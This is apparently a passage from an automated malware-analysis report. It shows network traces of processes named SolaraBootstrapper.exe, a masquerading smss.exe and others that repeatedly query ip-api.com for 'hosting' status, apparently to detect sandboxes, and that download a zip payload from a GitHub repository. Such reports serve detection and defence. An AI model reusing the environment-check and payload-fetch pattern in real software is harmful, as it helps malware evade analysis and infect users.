Jun 29, 2024 16:31:07.455303907 CEST	54131	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:07.456598997 CEST	54131	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:08.675435066 CEST	54132	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:08.680341959 CEST	80	54132	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:08.680444002 CEST	54132	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:08.680740118 CEST	54132	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:08.685497046 CEST	80	54132	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:09.147399902 CEST	80	54132	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:09.252194881 CEST	54132	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:09.372442961 CEST	54132	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:10.606034040 CEST	80	49708	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:10.606106997 CEST	49708	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:13.420909882 CEST	54133	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:13.425867081 CEST	80	54133	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:13.425956964 CEST	54133	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:13.426178932 CEST	54133	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:13.430984020 CEST	80	54133	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:13.936697006 CEST	80	54133	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:14.049181938 CEST	54133	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:14.088515043 CEST	54133	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:15.305373907 CEST	54134	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:15.310622931 CEST	80	54134	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:15.310756922 CEST	54134	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:15.310976982 CEST	54134	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:15.316019058 CEST	80	54134	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:15.774904966 CEST	80	54134	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:15.845932961 CEST	54134	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:15.984594107 CEST	54134	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:31.856395960 CEST	54135	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:31.862083912 CEST	80	54135	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:31.862198114 CEST	54135	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:31.862514019 CEST	54135	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:31.868663073 CEST	80	54135	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:32.358972073 CEST	80	54135	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:32.549179077 CEST	54135	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:32.787947893 CEST	54135	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:38.832178116 CEST	54136	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:38.837093115 CEST	80	54136	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:38.837274075 CEST	54136	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:38.837585926 CEST	54136	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:38.842319965 CEST	80	54136	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:39.313427925 CEST	80	54136	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:39.439748049 CEST	54136	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:39.749262094 CEST	54136	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:40.968477964 CEST	54137	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:40.973340034 CEST	80	54137	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:40.973407030 CEST	54137	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:40.973742962 CEST	54137	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:40.978487968 CEST	80	54137	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:41.451206923 CEST	80	54137	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:41.533473015 CEST	54137	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:41.791549921 CEST	54137	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:42.442070961 CEST	49708	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:42.447341919 CEST	80	49708	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:57.525659084 CEST	54138	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:57.531193018 CEST	80	54138	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:57.531356096 CEST	54138	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:57.531447887 CEST	54138	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:57.536295891 CEST	80	54138	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:58.002300024 CEST	80	54138	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:58.085760117 CEST	54138	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:58.490547895 CEST	54138	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:32:01.081779003 CEST	54139	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:32:01.086904049 CEST	80	54139	208.95.112.1	192.168.2.8
Jun 29, 2024 16:32:01.086987019 CEST	54139	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:32:01.087173939 CEST	54139	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:32:01.091949940 CEST	80	54139	208.95.112.1	192.168.2.8
Jun 29, 2024 16:32:01.756620884 CEST	80	54139	208.95.112.1	192.168.2.8
Jun 29, 2024 16:32:01.798455000 CEST	80	54139	208.95.112.1	192.168.2.8
Jun 29, 2024 16:32:01.798540115 CEST	54139	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:32:01.921309948 CEST	54139	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:32:03.325551987 CEST	54140	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:32:03.330467939 CEST	80	54140	208.95.112.1	192.168.2.8
Jun 29, 2024 16:32:03.330538988 CEST	54140	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:32:03.330848932 CEST	54140	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:32:03.335694075 CEST	80	54140	208.95.112.1	192.168.2.8
Jun 29, 2024 16:32:03.797456026 CEST	80	54140	208.95.112.1	192.168.2.8
Jun 29, 2024 16:32:03.877257109 CEST	54140	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:32:03.954623938 CEST	54140	80	192.168.2.8	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 29, 2024 16:29:59.669832945 CEST	64288	53	192.168.2.8	1.1.1.1
Jun 29, 2024 16:29:59.677531958 CEST	53	64288	1.1.1.1	192.168.2.8
Jun 29, 2024 16:30:00.730309963 CEST	63650	53	192.168.2.8	1.1.1.1
Jun 29, 2024 16:30:00.737051010 CEST	53	63650	1.1.1.1	192.168.2.8
Jun 29, 2024 16:30:01.847208023 CEST	61559	53	192.168.2.8	1.1.1.1
Jun 29, 2024 16:30:01.859349012 CEST	53	61559	1.1.1.1	192.168.2.8
Jun 29, 2024 16:30:18.400804043 CEST	53	49995	1.1.1.1	192.168.2.8
Jun 29, 2024 16:30:24.385827065 CEST	58403	53	192.168.2.8	1.1.1.1
Jun 29, 2024 16:30:24.404577971 CEST	53	58403	1.1.1.1	192.168.2.8
Jun 29, 2024 16:30:32.946496964 CEST	53	55405	162.159.36.2	192.168.2.8
Jun 29, 2024 16:30:33.427860975 CEST	50249	53	192.168.2.8	1.1.1.1
Jun 29, 2024 16:30:33.436532974 CEST	53	50249	1.1.1.1	192.168.2.8
Jun 29, 2024 16:30:41.432470083 CEST	53726	53	192.168.2.8	1.1.1.1
Jun 29, 2024 16:30:41.439640045 CEST	53	53726	1.1.1.1	192.168.2.8
Jun 29, 2024 16:31:06.795778036 CEST	52700	53	192.168.2.8	1.1.1.1
Jun 29, 2024 16:31:06.802609921 CEST	53	52700	1.1.1.1	192.168.2.8
Jun 29, 2024 16:31:57.516268015 CEST	59186	53	192.168.2.8	1.1.1.1
Jun 29, 2024 16:31:57.523106098 CEST	53	59186	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 29, 2024 16:29:59.669832945 CEST	192.168.2.8	1.1.1.1	0xe104	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 16:30:00.730309963 CEST	192.168.2.8	1.1.1.1	0x1d8a	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 16:30:01.847208023 CEST	192.168.2.8	1.1.1.1	0x26e3	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 16:30:24.385827065 CEST	192.168.2.8	1.1.1.1	0x35ef	Standard query (0)	clientsettings.roblox.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 16:30:33.427860975 CEST	192.168.2.8	1.1.1.1	0xe1e3	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jun 29, 2024 16:30:41.432470083 CEST	192.168.2.8	1.1.1.1	0x4c2	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 16:31:06.795778036 CEST	192.168.2.8	1.1.1.1	0xf048	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jun 29, 2024 16:31:57.516268015 CEST	192.168.2.8	1.1.1.1	0x7f90	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 29, 2024 16:29:59.677531958 CEST	1.1.1.1	192.168.2.8	0xe104	No error (0)	github.com		140.82.121.4	A (IP address)	IN (0x0001)	false
Jun 29, 2024 16:30:00.737051010 CEST	1.1.1.1	192.168.2.8	0x1d8a	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Jun 29, 2024 16:30:00.737051010 CEST	1.1.1.1	192.168.2.8	0x1d8a	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Jun 29, 2024 16:30:00.737051010 CEST	1.1.1.1	192.168.2.8	0x1d8a	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Jun 29, 2024 16:30:00.737051010 CEST	1.1.1.1	192.168.2.8	0x1d8a	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Jun 29, 2024 16:30:01.859349012 CEST	1.1.1.1	192.168.2.8	0x26e3	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jun 29, 2024 16:30:24.404577971 CEST	1.1.1.1	192.168.2.8	0x35ef	No error (0)	clientsettings.roblox.com	titanium.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 29, 2024 16:30:24.404577971 CEST	1.1.1.1	192.168.2.8	0x35ef	No error (0)	titanium.roblox.com	edge-term4.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 29, 2024 16:30:24.404577971 CEST	1.1.1.1	192.168.2.8	0x35ef	No error (0)	edge-term4.roblox.com	edge-term4-fra2.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 29, 2024 16:30:24.404577971 CEST	1.1.1.1	192.168.2.8	0x35ef	No error (0)	edge-term4-fra2.roblox.com		128.116.123.3	A (IP address)	IN (0x0001)	false
Jun 29, 2024 16:30:33.436532974 CEST	1.1.1.1	192.168.2.8	0xe1e3	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jun 29, 2024 16:30:41.439640045 CEST	1.1.1.1	192.168.2.8	0x4c2	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jun 29, 2024 16:31:06.802609921 CEST	1.1.1.1	192.168.2.8	0xf048	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jun 29, 2024 16:31:57.523106098 CEST	1.1.1.1	192.168.2.8	0x7f90	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

github.com

raw.githubusercontent.com

clientsettings.roblox.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49708	208.95.112.1	80	7568	C:\Users\user\AppData\Roaming\Bootstrapper.exe

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:30:01.925808907 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:30:02.412976980 CEST	175	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:30:01 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49709	208.95.112.1	80	7888	C:\Media\fontreview.exe

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:30:02.104832888 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:30:02.598558903 CEST	175	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:30:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 59 X-Rl: 43 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49710	208.95.112.1	80	1644	C:\Program Files\Uninstall Information\smss.exe

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:30:14.109694004 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:30:14.609958887 CEST	175	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:30:14 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 47 X-Rl: 42 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.8	54127	208.95.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:30:41.460068941 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:30:41.940057039 CEST	175	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:30:41 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 20 X-Rl: 41 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.8	54128	208.95.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:30:43.446129084 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:30:43.937707901 CEST	175	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:30:43 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 18 X-Rl: 40 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.8	54129	208.95.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:30:45.760694981 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:30:46.258527040 CEST	175	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:30:45 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 16 X-Rl: 39 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.8	54130	208.95.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:30:48.441154003 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:30:48.939805984 CEST	175	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:30:48 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 13 X-Rl: 38 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.8	54131	208.95.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:31:06.812715054 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:31:07.308226109 CEST	175	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:31:06 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.8	54132	208.95.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:31:08.680740118 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:31:09.147399902 CEST	175	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:31:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 58 X-Rl: 43 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.8	54133	208.95.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:31:13.426178932 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:31:13.936697006 CEST	175	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:31:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 53 X-Rl: 42 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.8	54134	208.95.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:31:15.310976982 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:31:15.774904966 CEST	175	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:31:15 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 51 X-Rl: 41 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.8	54135	208.95.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:31:31.862514019 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:31:32.358972073 CEST	175	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:31:31 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 34 X-Rl: 40 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.8	54136	208.95.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:31:38.837585926 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:31:39.313427925 CEST	175	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:31:38 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 27 X-Rl: 39 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.8	54137	208.95.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:31:40.973742962 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:31:41.451206923 CEST	175	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:31:40 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 25 X-Rl: 38 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.8	54138	208.95.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:31:57.531447887 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:31:58.002300024 CEST	174	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:31:57 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 9 X-Rl: 37 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.8	54139	208.95.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:32:01.087173939 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:32:01.756620884 CEST	174	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:32:00 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 5 X-Rl: 36 Data Raw: 66 61 6c 73 65 0a Data Ascii: false
Jun 29, 2024 16:32:01.798455000 CEST	174	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:32:00 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 5 X-Rl: 36 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.8	54140	208.95.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 16:32:03.330848932 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jun 29, 2024 16:32:03.797456026 CEST	174	IN	HTTP/1.1 200 OK Date: Sat, 29 Jun 2024 14:32:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 3 X-Rl: 35 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	140.82.121.4	443	7728	C:\ProgramData\SolaraBootstrapper.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-29 14:30:00 UTC	105	OUT	GET /quivings/Solara/raw/main/Files/Solara.Dir.zip HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-06-29 14:30:00 UTC	556	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Sat, 29 Jun 2024 14:29:57 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/quivings/Solara/main/Files/Solara.Dir.zip Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-06-29 14:30:00 UTC	3031	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f 6d 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 20 61 70 69 2e 67 69 74 68 75 62 2e Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	185.199.110.133	443	7728	C:\ProgramData\SolaraBootstrapper.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-29 14:30:01 UTC	116	OUT	GET /quivings/Solara/main/Files/Solara.Dir.zip HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-06-29 14:30:01 UTC	894	IN	HTTP/1.1 200 OK Connection: close Content-Length: 13705973 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/zip ETag: "da91247c8598710a56a542607bb6b15c2352500f6f5df1114351dba73010866d" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: C428:21C293:6E3E61:7C3B1E:66801A65 Accept-Ranges: bytes Date: Sat, 29 Jun 2024 14:30:01 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890093-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1719671401.268408,VS0,VE85 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 0d464e1dc7bcb576516db6e39aef0bf0b5479b45 Expires: Sat, 29 Jun 2024 14:35:01 GMT Source-Age: 0
2024-06-29 14:30:01 UTC	1378	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 58 52 b3 58 c3 34 fd 63 9a 2b 00 00 28 60 00 00 2c 00 00 00 53 6f 6c 61 72 61 2e 44 69 72 2f 61 70 69 2d 6d 73 2d 77 69 6e 2d 63 72 74 2d 63 6f 6e 76 65 72 74 2d 6c 31 2d 31 2d 30 2e 64 6c 6c ec 99 79 7c 4c d7 fb c7 cf 2c 49 64 91 84 10 44 c8 44 62 37 c9 9d 89 6c 25 64 97 10 49 24 91 54 a4 c6 64 66 92 0c 93 99 98 25 11 ad 8a d0 d4 4e 11 14 d5 10 5a 5a 4a d1 5a 43 69 bf ad 3d 96 16 55 4b 11 45 ed aa 76 f1 fb dc 3b fb d2 6f fb c7 ef f7 fa be 5e bf d7 f7 f2 be e7 9c e7 39 cf 39 cf 59 ee 73 ef 99 0c cd 9f 47 38 84 10 2e 78 fd 9a 90 ed 44 7f c5 92 bf bf 0e 00 cf 80 9d 9e 64 ab eb d1 c0 ed ac b4 a3 81 39 25 72 0d af 4c ad 2a 56 8b 4b 79 12 b1 52 a9 d2 f2 0a 65 3c b5 4e c9 93 2b 79 89 19 d9 bc 52 95 54 16 d2 b2 a5 5b b0 a1 8d bc e1 Data Ascii: PKXRX4c+(`,Solara.Dir/api-ms-win-crt-convert-l1-1-0.dlly\|L,IdDDb7l%dI$Tdf%NZZJZCi=UKEv;o^99YsG8.xDd9%rL*VKyRe<N+yRT[
